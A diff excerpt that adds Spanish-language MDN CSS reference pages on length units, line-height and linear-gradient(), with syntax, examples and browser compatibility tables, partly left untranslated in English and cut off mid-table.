+<p>Las unidades de longitud absoluta representan una medida física, y cuando las propiedades físicas del medio de salida son conocidas, como en diseño para impresión. Esto se hace anclando una de las unidades a una unidad física, y definiendo el resto con relación a ésta. La definición del ancla difiere entre dispositivos de baja resolución, como pantallas, y dispositivos de alta resolución, como impresoras.</p>
+
+<p>Para dispositivos de ppp bajo, la unidad <strong>px</strong> representa el <em>píxel de referencia</em> físico, y el resto son definidos con relación a éste. Así, <code>1in</code> es definido como <code>96px</code>, que equivalen a <code>72pt</code>. La consecuencia de esta definición es que en dichos dispositivos, las longitudes descritas en pulgadas (<code>in</code>), centrímetros (<code>cm</code>), milímetros (<code>mm</code>) no necesariamente conincidirán con la longitud de la unidad física del mismo nombre.</p>
+
+<p>Para dispositivos de alto ppp, las pulgadas (<code>in</code>), centrímetros (<code>cm</code>), milímetros (<code>mm</code>) son definidos como su contraparte física. De esta forma, la unidad <strong>px</strong> es definida con relación a ellas (1/96 de 1 pulgada).</p>
+
+<div class="note">
+<p>Los usuarios pueden incrementar el tamaño de fuente por razones de accesibilidad. Para permitir interfaces usables sin importar el tamao de fuente, use únicamente unidades de longitud absolutas cuando las características físicas del medio de salida son conocidas, como imágenes de mapa de bits. Al establecer longitudes relacionadas al tamaño de fuente, es preferible usar unidades relativas, como <code>em</code> o <code>rem</code>.</p>
+</div>
+
+<dl>
+ <dt id="px"><code>px</code></dt>
+ <dd>Relativa al dispositivo de visualización.<br>
+ Para pantallas, generalmente es el tamaño de un píxel (punto) de la pantalla del dispositivo.<br>
+ Para <em>impresoras</em> y <em>pantallas de muy alta resolución</em>, un píxel CSS implica múltiples píxeles del dispositivo, de modo que el número de píxeles por pulgada se mantenga al rededor de 96.</dd>
+ <dt id="mm"><code>mm</code></dt>
+ <dd>Un milímetro.</dd>
+ <dt id="q"><code>q</code></dt>
+ <dd>Un cuarto de milímetro (1/40° de centímetro).</dd>
+ <dt id="cm"><code>cm</code></dt>
+ <dd>Un centímetro (10 milímetros).</dd>
+ <dt id="in"><code>in</code></dt>
+ <dd>Una pulgada (2.54 centímetros).</dd>
+ <dt id="pt"><code>pt</code></dt>
+ <dd>Un punto (1/72° de pulgada).</dd>
+ <dt id="pc"><code>pc</code></dt>
+ <dd>Una pica (12 puntos).</dd>
+ <dt id="mozmm"><code>mozmm</code> {{non-standard_inline}}</dt>
+ <dd>Una unidad experimental que intenta generar exactamente un milímetro, sin importar el tamaño de resolución de la pantalla. Esto raramente será lo que se desea, pero podría ser útil para dispositivos móviles, en particular.</dd>
+</dl>
+
+<h2 id="Unidades_CSS_y_puntos_por_pulgada_(dots-per-inch)">Unidades CSS y puntos por pulgada (dots-per-inch)</h2>
+
+<p class="note">La unidad <code>in</code> no representa una pulgada física en pantalla, sino <code>96px</code>. Esto significa que sin importar la densidad de píxeles real en pantalla, se asume que serán <code>96ppp</code>. En dispositivos con mayor densidad de píxeles, <code>1in</code> será menor que una pulgada física. De forma similar, <code>mm</code>, <code>cm</code>, y <code>pt</code> no son longitudes absolutas.</p>
+
+<p>Algunos ejemplos específicos:</p>
+
+<ul>
+ <li><code>1in</code> siempre son <code>96px,</code></li>
+ <li><code>3pt</code> siempre son <code>4px</code>,</li>
+ <li><code>25.4mm</code> siempre son <code>96px.</code></li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#lengths', '&lt;length&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Añadidos <code>ch</code>, <code>rem</code>, <code>vw</code>, <code>vh</code>, <code>vmin</code>, <code>vmax</code> y <code>q</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'syndata.html#length-units', '&lt;length&gt;')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td><code>pt</code>, <code>pc</code>, <code>px</code> son definidos explícitamente (fueron definidos implícitamente en CSS1)</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#length-units', '&lt;length&gt;')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}} </p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1</td>
+   <td>{{ CompatGeckoDesktop("1.0")}}</td>
+   <td>3.0</td>
+   <td>3.5</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td><code>ch</code></td>
+   <td>
+    <p>27</p>
+   </td>
+   <td>{{ CompatGeckoDesktop("1.0")}}<sup>[1]</sup></td>
+   <td>9.0</td>
+   <td>20.0</td>
+   <td>7.0</td>
+  </tr>
+  <tr>
+   <td>ex</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>rem</code></td>
+   <td>4 (532.3)</td>
+   <td>{{ CompatGeckoDesktop("1.9.2")}}</td>
+   <td>9.0</td>
+   <td>11.6</td>
+   <td>4.1</td>
+  </tr>
+  <tr>
+   <td><code>vh, vw</code></td>
+   <td>20</td>
+   <td>{{CompatGeckoDesktop("19")}}</td>
+   <td>9.0</td>
+   <td>20.0</td>
+   <td>6.0</td>
+  </tr>
+  <tr>
+   <td><code>vmin</code></td>
+   <td>
+    <p>20</p>
+   </td>
+   <td>{{CompatGeckoDesktop("19")}}</td>
+   <td>9.0<sup>[2]</sup></td>
+   <td>20.0</td>
+   <td>6.0</td>
+  </tr>
+  <tr>
+   <td><code>vmax</code></td>
+   <td>26</td>
+   <td>{{CompatGeckoDesktop("19")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>20.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Longitudes de porcentaje del viewport inválidas en {{cssxref("@page")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("21")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>mozmm</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>1in</code> siempre es <code>96ppp</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>q</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("49.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ch</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>7.8</td>
+   <td>{{CompatUnknown}}</td>
+   <td>7.1.1</td>
+  </tr>
+  <tr>
+   <td>ex</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>rem</code></td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>12.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td><code>vh, vw, vmin</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("19")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6.0</td>
+  </tr>
+  <tr>
+   <td><code>vmax</code></td>
+   <td>1.5</td>
+   <td>{{CompatGeckoMobile("19")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Longitudes de porcentaje del viewport inválidas en {{cssxref("@page")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("21.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>q</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("49.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] En Gecko 1.0-1.9.0 (Firefox 1.0-3.0)<code> ch</code> era la anchura de 'M', y no funcionaba para las propiedades CSS {{CSSxref("border-width")}} y {{CSSxref("outline-width")}}.</p>
+
+<p>[2] Internet Explorer implementa esto con el nombre no estándar <code>vm</code>.</p>
diff --git a/files/es/web/css/line-height/index.html b/files/es/web/css/line-height/index.html
new file mode 100644
index 0000000000..4d5429ef2c
--- /dev/null
+++ b/files/es/web/css/line-height/index.html
@@ -0,0 +1,125 @@
+---
+title: line-height
+slug: Web/CSS/line-height
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Referencia_CSS
+  - Todas_las_Categorías
+  - para_revisar
+  - páginas_a_traducir
+translation_of: Web/CSS/line-height
+---
+<pre class="syntaxbox"><a href="https://developer.mozilla.org/en-US/docs/Web/CSS">https://developer.mozilla.org/en-US/docs/Web/CSS</a>{{ CSSRef() }}
+/*Keyword value*/
+line-height: normal;
+
+/</pre>
+
+
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>La propiedad  <a href="https://developer.mozilla.org/en-US/docs/Web/CSS">CSS</a> <code>line-height</code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS"> </a>establece la altura de una casilla remarcada por líneas. Comúnmente se usa para establecer la distancia entre líneas de texto. A nivel de elementos de bloque, define la altura mínima de las casillas encuadradas por líneas dentro del elemento. En elementos en linea no reemplazables, especifica la altura que se usa para calcular la altura de la casila encuadrada por líneas.</p>
+
+<ul>
+ <li>{{ Cssxref("initial", "Valor inicial") }}: {{ Cssxref("normal") }}</li>
+ <li>Aplicable a: todos los elementos.</li>
+ <li>{{ Cssxref("inheritance", "Valor heredado") }}: sí</li>
+ <li>Porcentajes: se refieren a tamaño de la fuente del elemento mismo.</li>
+ <li>Medio: {{ Xref_cssvisual() }}</li>
+ <li>{{ Cssxref("computed value", "Valor calculado") }}: para los valores &lt;length&gt; y &lt;percentage&gt;, el valor absoluto, en otro caso, como se especifica.</li>
+</ul>
+
+<h2 id="Syntax">Syntax</h2>
+
+
+
+<pre><code>/* Keyword value */
+line-height: normal;
+
+/* Unitless values: usa esta cifra multiplicada por el tamaño de fuente
+del elemento */
+line-height: 3.5;
+
+/* &lt;longitud&gt; valores */
+line-height: 3em;
+
+/* &lt;porcentaje&gt; valores */
+line-height: 34%;
+
+/* Valores absolutos */
+line-height: inherit;
+line-height: initial;
+line-height: unset;</code></pre>
+
+
+
+<h3 id="Sintaxis" name="Sintaxis">Valores</h3>
+
+<dl>
+ <dt><code>normal </code></dt>
+ <dd>
+ <p>Depende del agente del usuario. Los navegadores de escritorio (incluido Firefox) usan un valor por defecto de apenas <strong>1.2,</strong> dependiendo del <code>font-family</code> del elemento.</p>
+ </dd>
+ <dt><code>&lt;número&gt; </code></dt>
+ <dd>El valor utilizado es este<code> <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/number">&lt;número&gt;</a></code> sin unidades multiplicado por el propio tamaño de fuente del elemento. El valor calculado es el mismo que el <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/number">&lt;número&gt;</a></code> especificado. En la mayoría de los casos, esta es la forma preferida de establecer <code><a href="https://developer.mozilla.org/es/docs/Web/CSS/line-height">line-height </a></code>y evitar resultados inesperados debido a la herencia.</dd>
+ <dt><code>&lt;longitud&gt; </code></dt>
+ <dd>La <a href="https://developer.mozilla.org/es/docs/Web/CSS/length">&lt;longitud&gt; </a>especificada se utiliza en el cálculo de la altura de la casilla encuadrada por líneas. Los valores dados en unidades <code>em</code> pueden producir resultados inesperados (ver ejemplo más abajo).</dd>
+ <dt><code>&lt;porcentaje&gt; </code></dt>
+ <dd>En relación con el tamaño de fuente del elemento en sí. El valor calculado es este <a href="https://developer.mozilla.org/es/docs/Web/CSS/porcentaje">&lt;porcentaje&gt;</a> multiplicado por el tamaño de letra del elemento calculado. Los valores porcentuales pueden producir resultados inesperados (ver el segundo ejemplo a continuación).</dd>
+</dl>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre><code>/* Todas las reglas debajo ofrecen la misma line-height resultante */
+
+div { line-height: 1.2;   font-size: 10pt; }   /* número/unitless */
+div { line-height: 1.2em; font-size: 10pt; }   /* longitud */
+div { line-height: 120%;  font-size: 10pt; }   /* porcentaje */
+div { font: 10pt/1.2  Georgia,"Bitstream Charter",serif; } /* font shorthand */</code></pre>
+
+<p>A menudo es más conveniente establecer el <code><a href="https://developer.mozilla.org/es/docs/Web/CSS/line-height">line-height </a></code> usando {{cssxref("font")}} abreviadamente, como se muestra arriba, pero esto también requiere especificar la propiedad <code>font-family</code>.</p>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<h3 id="Especificaciones" name="Especificaciones">Especificaciones</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/visudet.html#propdef-line-height">CSS 2.1</a></li>
+</ul>
+
+<h3 id="Compatibilidad_de_navegadores" name="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navegador</th>
+   <th>Versión mínima</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>?</td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>?</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>?</td>
+  </tr>
+  <tr>
+   <td>Safari</td>
+   <td>?</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p>{{ Cssxref("font-size") }}</p>
diff --git a/files/es/web/css/linear-gradient()/index.html b/files/es/web/css/linear-gradient()/index.html
new file mode 100644
index 0000000000..4a68a3b365
--- /dev/null
+++ b/files/es/web/css/linear-gradient()/index.html
@@ -0,0 +1,261 @@
+---
+title: linear-gradient
+slug: Web/CSS/linear-gradient()
+tags:
+  - CSS
+  - Función CSS
+  - Imágenes CSS
+  - Plantilla
+  - Referencia
+  - Web
+  - graficos
+translation_of: Web/CSS/linear-gradient()
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La función CSS <code>linear-gradient()</code> crea una imágen la cual representa un degradado lineal de colores. El resultado es un objeto CSS de tipo {{cssxref("&lt;gradient&gt;")}}, que es una forma especial de {{cssxref("&lt;image&gt;")}}.</p>
+
+<p>{{EmbedInteractiveExample("pages/css/function-linear-gradient.html")}}</p>
+
+<p>Cómo cualquier otro degradado, un degradado lineal no tiene<a href="/en/CSS/image#no_intrinsic"> dimensiones intrínsecas</a>; es decir,  no tiene un tamaño natural o predefinido, ni una relación de aspecto. Su tamaño concreto se ajustará al del elemento al cual se le aplica.</p>
+
+<p>Los gradientes lineales están definidos por un eje, la <em>línea gradiente</em>, donde cada punto representa el inicio de un color diferente. Las líneas perpendiculares a la <em>línea gradiente</em> tienen un único color, para cada punto de la <em>línea gradiente</em>.</p>
+
+<p><img alt="linear-gradient.png" src="/files/3537/linear-gradient.png" style="float: left; height: 383px; width: 309px;"></p>
+
+<p>La línea gradiente está definida por el centro de la caja que contiene la imagen gradiente y por un ángulo. El color del gradiente está definido por diferentes puntos; el punto de inicio, el punto de fin y, en el medio, puntos opcionales de cambio de color.</p>
+
+<p>El punto de inicio es el punto en la línea gradiente donde empieza el color. Está definido por la intersección entre la línea gradiente y su perpendicular, pasando por la esquina del contenedor en el mismo cuadrante.</p>
+
+<p>De forma similar, el punto de fin es el punto de la línea gradiente donde se alcanza el final del color. También está definido por la intersección entre la línea gradiente y la línea perpendicular generada por la esquina más cercana del contenedor, pero es más fácil encontrarla como la simetría del punto de inicio, cuando el punto de reflección coincide con el centro de la caja contenedora.</p>
+
+<p>Estas definiciones algo complejas de los puntos de inicio y fin nos llevan a una propiedad interesante llamda <em>magic corners</em> (esquinas mágicas): La esquina más cercana de los puntos de inicio y fin, tienen el mismo color que su respectivos puntos de inicio y fin.</p>
+
+<p>Se puede especificar más que solamente los colores de los puntos de inicio y fin. Definiendo colores adicionales en los puntos de cambio en la línea gradiente, el desarrollador web puede crear una transición más personalizada entre los colores de inicio y fin, o generar un gradiente de múltiples colores.</p>
+
+<p>La sintaxis de la función linear-gradient no permite la repetición de gradientes, pero usando puntos de cambio de color, se puede generar un efecto similar. Para una repetición de gradientes real, puede usar la propiedad CSS {{ Cssxref("repeating-linear-gradient") }}.</p>
+
+<p>When the position of a color-stop point is implicitly defined, it is placed half-way between the point that precedes it and the one that follows it.  The position can also be explicitly defined by using a {{cssxref("&lt;length&gt;")}} or a {{cssxref("&lt;percentage&gt;")}} CSS data type.</p>
+
+<div class="note">Gradients are defined as CSS <code>&lt;image&gt;</code> data types. Therefore they can be used anywhere in CSS where an image data type is required. But, Gecko currently only supports CSS gradients as values of the {{ Cssxref("background-image") }} property, as well as within the shorthand {{ Cssxref("background") }}.<br>
+For this reason, <code>linear-gradient</code> won't work on {{ Cssxref("background-color") }} and other properties requesting {{cssxref("&lt;color&gt;")}}.</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="twopartsyntaxbox notranslate">Formal grammar: linear-gradient(  [ <a href="/en-US/CSS/angle" title="angle">&lt;angle&gt;</a> | to &lt;side-or-corner&gt; ,]? &lt;color-stop&gt; [, &lt;color-stop&gt;]+ )
+                                  \---------------------------------/ \----------------------------/
+                                    Definition of the gradient line         List of color stops
+
+                      where <code>&lt;side-or-corner&gt; = [left | right] || [top | bottom]</code>
+                        and <code>&lt;color-stop&gt;     = &lt;color&gt; [ &lt;percentage&gt; | &lt;length&gt; ]?</code>
+</pre>
+
+<pre class="notranslate">linear-gradient( 45deg, blue, red );           /* A gradient on 45deg axis starting blue and finishing red */
+linear-gradient( to left top, blue, red);      /* A gradient going from the bottom right to the top left starting blue and
+                                                  finishing red */
+
+linear-gradient( 0deg, blue, green 40%, red ); /* A gradient going from the bottom to top, starting blue, being green after 40%
+                                                  and finishing red */
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>&lt;side-or-corner&gt;</code></dt>
+ <dd>Represents the position of the starting-point of the gradient line. It consists of two keywords: the first one indicates the horizontal side, <code>left</code> or <code>right</code>, and the second one the vertical side, <code>top</code> or <code>bottom</code>. The order is not relevant and each of the keyword is optional.<br>
+ The values <code>to top</code>, <code>to bottom</code>, <code>to left</code> and <code>to right</code> are translated into the angles <code>0deg</code>, <code>180deg</code>, <code>270deg</code>, <code>90deg</code> respectively. The others are translated into an angle that let the starting-point to be in the same quadrant than the described corner and so that the line defined by the starting-point and the corner is perpendicular to the gradient line. That way, the color described by the <code>&lt;color-stop&gt;</code> will exactly apply to the corner point. This is sometimes called the "<em>magic corner</em>" property. The end-point of the gradient line is the symmetrical point of the starting-point on the other direction of the center box.</dd>
+ <dt><code>&lt;angle&gt;</code></dt>
+ <dd>An angle of direction for the gradient. See {{ cssxref("&lt;angle&gt;") }}.</dd>
+ <dt><code>&lt;color-stop&gt;</code></dt>
+ <dd>This value is comprised of a {{cssxref("&lt;color&gt;")}} value, followed by an optional stop position (either a percentage or a {{cssxref("&lt;length&gt;")}} along the gradient axis).<br>
+ Rendering of color-stops in CSS gradients follows the same rules as color-stops in SVG gradients.</dd>
+</dl>
+
+<h3 id="History_of_the_syntax">History of the syntax</h3>
+
+<p>The syntax of <code>linear-gradient</code> has evolved since the <a class="external" href="http://www.webkit.org/blog/175/introducing-css-gradients/" title="http://www.webkit.org/blog/175/introducing-css-gradients/">first Apple proposal</a> implemented in 2008:</p>
+
+<pre class="notranslate"><code>-webkit-gradient(&lt;type&gt;, &lt;point&gt; [, &lt;radius&gt;]?, &lt;point&gt; [, &lt;radius&gt;]? [, &lt;stop&gt;]*)</code>
+</pre>
+
+<p>In the original syntax, the same function was used to create both linear and radial gradients.  However, the parameters needed in each case were different, resulting in a syntax that varied with the value of the first parameter.  The situation became more complicated if  other types of gradients, like conical gradients, were added, requiring the use of functions and non-standard or inconsistent css value specifications.  No draft was proposed to the W3C.</p>
+
+<p>An alternative syntax was proposed and implemented by Mozilla in 2009.  In this syntax, two CSS functions would be required; one for linear gradients, and the other for radial gradients. However, this syntax never shipped in a released product.  A third syntax was proposed.  This third syntax simplified the syntax for linear gradients to:</p>
+
+<pre class="notranslate">-moz-linear-gradient(<code>[ [ [top | bottom] || [left | right] ],]? &lt;color-stop&gt;[, &lt;color-stop&gt;]+);</code>
+</pre>
+
+<p>The new syntax did not require the <code>to()</code>, <code>from()</code>and <code>color-stop()</code> functions, so they were dropped. The order of the <code>top</code>/<code>bottom</code> and <code>left</code>/<code>right</code> keywords was also recognized as unimportant, so Mozilla removed the constraint of having <code>top</code>/<code>bottom</code> defined first. </p>
+
+<p>But the new syntax had still had one drawback: it allowed only vertical and horizontal gradients.  Finally, the syntax below was proposed to the W3C.  Following two more changes to solve the limitation on the direction of gradients, it was added to the CSS Images Values and Content Replacement Level 3 draft in 2011.</p>
+
+<ul>
+ <li>The support of an {{ cssxref("&lt;angle&gt;") }} as an origin, allowing gradients of any direction.</li>
+ <li>The definition of the magic corner algorithm which eases the work of Web developers by allowing an easy definition of the exact color at the corners.</li>
+</ul>
+
+<p>The color interpolation is also defined as happening in the pre-multiplied color space, in order to prevent non esthetic grey to appear when using color with different opacity. This syntax was implemented, prefixed, by both Webkit, without dropping the original one, and Trident (IE 10):</p>
+
+<pre class="notranslate">linear-gradient(<code> [ </code>[ {{cssxref("&lt;angle&gt;")}} | <code>[top | bottom] || [left | right] ],]? &lt;color-stop&gt;[, &lt;color-stop&gt;]+);</code>
+</pre>
+
+<p>Unfortunately, the addition of the {{ cssxref("&lt;angle&gt;") }} values to the syntax introduced an incoherence: the angle indicates a destination, but the keywords indicate a starting point.<a class="external" href="http://lists.w3.org/Archives/Public/www-style/2011Jun/0377.html" title="http://lists.w3.org/Archives/Public/www-style/2011Jun/0377.html"># </a>This was fixed by a new syntax where the keyword are directions too, and preceded by the <code>to</code> keyword.</p>
+
+<pre class="notranslate">linear-gradient(<code>[ [ </code>[ {{cssxref("&lt;angle&gt;")}} | to <code>[top | bottom] || [left | right] ],]? &lt;color-stop&gt;[, &lt;color-stop&gt;]+);</code>
+</pre>
+
+<p>This should be the final syntax.</p>
+
+<p>A last semantic curiosity still exists between the prefixed variants and the unprefixed proposal. Following the initial Apple proposal, the prefixed variants of the syntax all uses the an {{ cssxref("&lt;angle&gt;") }} defined like polar angles, that is with <code>0deg</code> representing the East. To be coherent with the rest of CSS, the specification defines an angle with <code>0deg</code> representing the North. To prevent sites using prefixed version of the property to get suddenly broken, even when adapting to the otherwise forward-compatible final syntax, they keep the original angle definition (<code>0deg</code> = East<code>)</code>. They will switch to the correct spec when unprefixing the property. Also, as they aren't incompatible, Gecko supports, prefixed, both the syntax with the <code>to</code> keyword and without. Here again, the syntax without the keyword will be dropped when unprefixing.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Gradient_at_a_45_degree_angle">Gradient at a 45 degree angle</h3>
+
+<p>Positions can be specified along the gradient axis with a color for each of them, called "color-stops", and the areas between every color-stop smoothly transition between each other. Any one color in the gradient forms a straight line that is perpendicular to the gradient axis. In the below image, the gradient's axis starts from the top-left corner of the div, and is directed at a 45 degree angle. Two color-stops are specified, red and blue.</p>
+
+<p><img alt="lingradexample.png" class="default internal" src="/files/2843/lingradexample.png" style="height: 329px; width: 453px;"></p>
+
+<h3 id="Gradient_with_multiple_color_stops">Gradient with multiple color stops</h3>
+
+<p>If the first color-stop does not have a <code>&lt;length&gt;</code> or <code>&lt;percentage&gt;</code>, it defaults to 0%. If the last color-stop does not have a <code>&lt;length&gt;</code> or <code>&lt;percentage&gt;</code>, it defaults to 100%. If a color-stop doesn't have a specified position and it isn't the first or last stop, then it is assigned the position that is half way between the previous stop and next stop.</p>
+
+<p>Color-stops must be specified in order. After assigning default values to the first and last stops if necessary, if a color-stop has a specified position that is less than the specified position of any color-stop before it in the list, its position is changed to be equal to the largest specified position of any color-stop before it.</p>
+
+<div>A rainbow made from a gradient</div>
+
+<pre class="notranslate">background: linear-gradient(to right, red, orange, yellow, green, blue, indigo, violet);
+</pre>
+
+<h3 id="Repeating_a_linear_gradient">Repeating a linear gradient</h3>
+
+<p>The <code>linear-gradient</code> does not allow repeating gradients. By default, the gradient will stretch to fill the element it is defined on. For this functionality, see {{ Cssxref("repeating-linear-gradient") }}.</p>
+
+<h3 id="Using_transparency">Using transparency</h3>
+
+<div>Linear with transparency</div>
+
+<pre class="notranslate">background-image: linear-gradient(to bottom right, red, rgba(255,0,0,0));</pre>
+
+<p>Gradient backgrounds are not affected by {{ Cssxref("background-size") }} if all points and lengths are specified using fixed units (as opposed to percentages or keywords, which are relative to the value of <code>background-size</code>).</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>If you set the {{ cssxref("background-image") }} property of the {{ HTMLElement("body") }} tag to a <code>linear-gradient</code>, the gradient <a class="external" href="http://richard.milewski.org/archives/1014" title="http://richard.milewski.org/archives/1014">won't fill the browser screen unless </a>you also set the {{ cssxref("min-height") }} property of the document root (e.g. the {{ HTMLElement("html") }} tag) to 100%.</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Images', '#linear-gradient-type', 'linear-gradient()') }}</td>
+   <td>{{ Spec2('CSS3 Images') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera (Presto)</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support(on {{ cssxref("background") }} and {{ cssxref("background-image") }})</td>
+   <td>{{ CompatGeckoDesktop("1.9.2") }}{{ property_prefix("-moz") }}<sup><a href="#bc3">[3]</a></sup><br>
+    {{ CompatGeckoDesktop("16") }}</td>
+   <td>10.0 (534.16){{ property_prefix("-webkit") }} <sup><a href="#bc2">[2]</a></sup><sup><a href="#bc3">[3]</a></sup></td>
+   <td>10.0 <sup><a href="#bc1">[1]</a></sup></td>
+   <td>11.10{{ property_prefix("-o") }} <sup><a href="#bc3">[3]</a></sup></td>
+   <td>5.1{{ property_prefix("-webkit") }}<sup><a href="#bc2">[2]</a></sup><sup><a href="#bc3">[3]</a></sup></td>
+  </tr>
+  <tr>
+   <td>On any properties that accept {{cssxref("&lt;image&gt;")}}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://www.webkit.org/blog/175/introducing-css-gradients/">Legacy webkit syntax</a>{{ non-standard_inline() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>3{{ property_prefix("-webkit") }} <sup><a href="#bc2">[2]</a></sup></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>4.0{{ property_prefix("-webkit") }}<sup><a href="#bc2">[2]</a></sup></td>
+  </tr>
+  <tr>
+   <td>Legacy <em>from </em>syntax (without <code>to</code>){{ non-standard_inline() }}</td>
+   <td>{{ CompatGeckoDesktop("1.9.2") }}{{ property_prefix("-moz") }} <sup><a href="#bc4">[4]</a></sup></td>
